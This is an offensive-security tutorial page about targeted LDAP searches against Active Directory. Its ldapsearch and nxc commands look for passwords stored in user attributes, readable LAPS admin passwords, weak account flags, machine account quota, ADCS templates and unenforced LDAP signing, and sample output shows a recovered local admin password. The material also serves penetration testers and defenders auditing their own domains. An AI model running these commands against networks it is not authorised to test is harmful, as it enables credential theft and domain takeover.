Skip to content
HackIndex logo

HackIndex

LDAP Targeted Misconfiguration Searches

5 min read May 15, 2026

Once you have authenticated access, run targeted LDAP filters against known misconfiguration patterns. These queries go beyond broad enumeration and directly identify conditions that enable credential extraction, relay attacks, and privilege escalation. Run them as a checklist — each one answers a specific question about the environment's security posture.

Credentials in attributes

Administrators routinely store passwords in description, info, and comment fields. These attributes are readable by all domain users by default.

┌──(kali㉿kali)-[~]
└─$ # Passwords in description fields
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*pass*)" sAMAccountName description
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*pwd*)" sAMAccountName description
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*cred*)" sAMAccountName description
 
┌──(kali㉿kali)-[~]
└─$ # Info and comment fields
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(info=*)" sAMAccountName info
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(comment=*)" sAMAccountName comment
 
┌──(kali㉿kali)-[~]
└─$ # All users with non-empty description
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(description=*))" sAMAccountName description | grep -B1 "description:"

LAPS

LAPS stores auto-rotated local administrator passwords in ms-MCS-AdmPwd on computer objects. Normally ACL-restricted, but over-permissioned OUs are common. A successful read gives you the current local admin password for that host.

┌──(kali㉿kali)-[~]
└─$ # Check which computers have LAPS enabled
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" dNSHostName ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime
 
┌──(kali㉿kali)-[~]
└─$ # nxc — faster
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps
 
┌──(kali㉿kali)-[~]
└─$ # If LAPS password returned, immediately test admin access
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p $LAPS_PASSWORD --local-auth 
LDAP  10.10.10.10  389  DC01  [*] Getting LAPS Passwords
LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS Password: xK9#mP2!vL

Account control weaknesses

These filters identify accounts with dangerous configurations that enable immediate attacks or credential-free authentication.

┌──(kali㉿kali)-[~]
└─$ # Password never set (pwdLastSet = 0)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(pwdLastSet=0))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Password not required (PASSWD_NOTREQD flag)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Password never expires
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Admin-flagged accounts (adminCount=1) — these are under AdminSDHolder protection
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(adminCount=1))" sAMAccountName memberOf
 
┌──(kali㉿kali)-[~]
└─$ # nxc combined check
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --admin-count --password-not-required

adminCount=1 marks accounts that are or were members of privileged groups. These accounts have their ACLs reset by AdminSDHolder and are often overlooked in access reviews. They are high-value targets even if they no longer appear in Domain Admins — check their ACLs via ACL Abuse Privilege Escalation. Accounts with no pre-auth set are AS-REP Roastable — see AS-REP Roasting. Accounts with SPNs are Kerberoastable — see Kerberoasting.

Machine Account Quota

The ms-DS-MachineAccountQuota attribute controls how many computer objects a regular user can create in the domain. The default is 10. A value above 0 enables Resource-Based Constrained Delegation abuse — you can create a machine account and use it for privilege escalation.

┌──(kali㉿kali)-[~]
└─$ # Check MAQ value
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" ms-DS-MachineAccountQuota
 
# nxc module
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M maq 
ms-DS-MachineAccountQuota: 10

MAQ > 0 enables Resource-Based Constrained Delegation abuse — create a machine account and use it to impersonate any user on the target.

ADCS — certificate template enumeration

Active Directory Certificate Services templates with dangerous configurations (ESC1-ESC8) allow privilege escalation to Domain Admin via certificate abuse. This check identifies whether ADCS is present and which templates are published.

┌──(kali㉿kali)-[~]
└─$ # Check if ADCS is present
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=Configuration,$BASE_DN" "(objectClass=pKIEnrollmentService)" cn dNSHostName
 
┌──(kali㉿kali)-[~]
└─$ # List all certificate templates
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$BASE_DN" "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag
 
┌──(kali㉿kali)-[~]
└─$ # nxc ADCS module — finds misconfigured templates automatically
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M adcs

For ESC attack analysis, see ADCS Misconfiguration Discovery.

LDAP signing and channel binding

Disabled LDAP signing allows NTLM relay attacks targeting the LDAP service. This is one of the most common and impactful domain misconfigurations found in real environments.

┌──(kali㉿kali)-[~]
└─$ # Check LDAP signing requirement
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker 
LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced (vulnerable)
LDAP  10.10.10.10  389  DC01  LDAPS channel binding NOT required (vulnerable)

If LDAP signing is not enforced, the domain is vulnerable to NTLM relay via LDAP. See LDAP Signing and Channel Binding for the full vulnerability confirmation workflow and LDAP Relay and Signing Abuse for exploitation.

References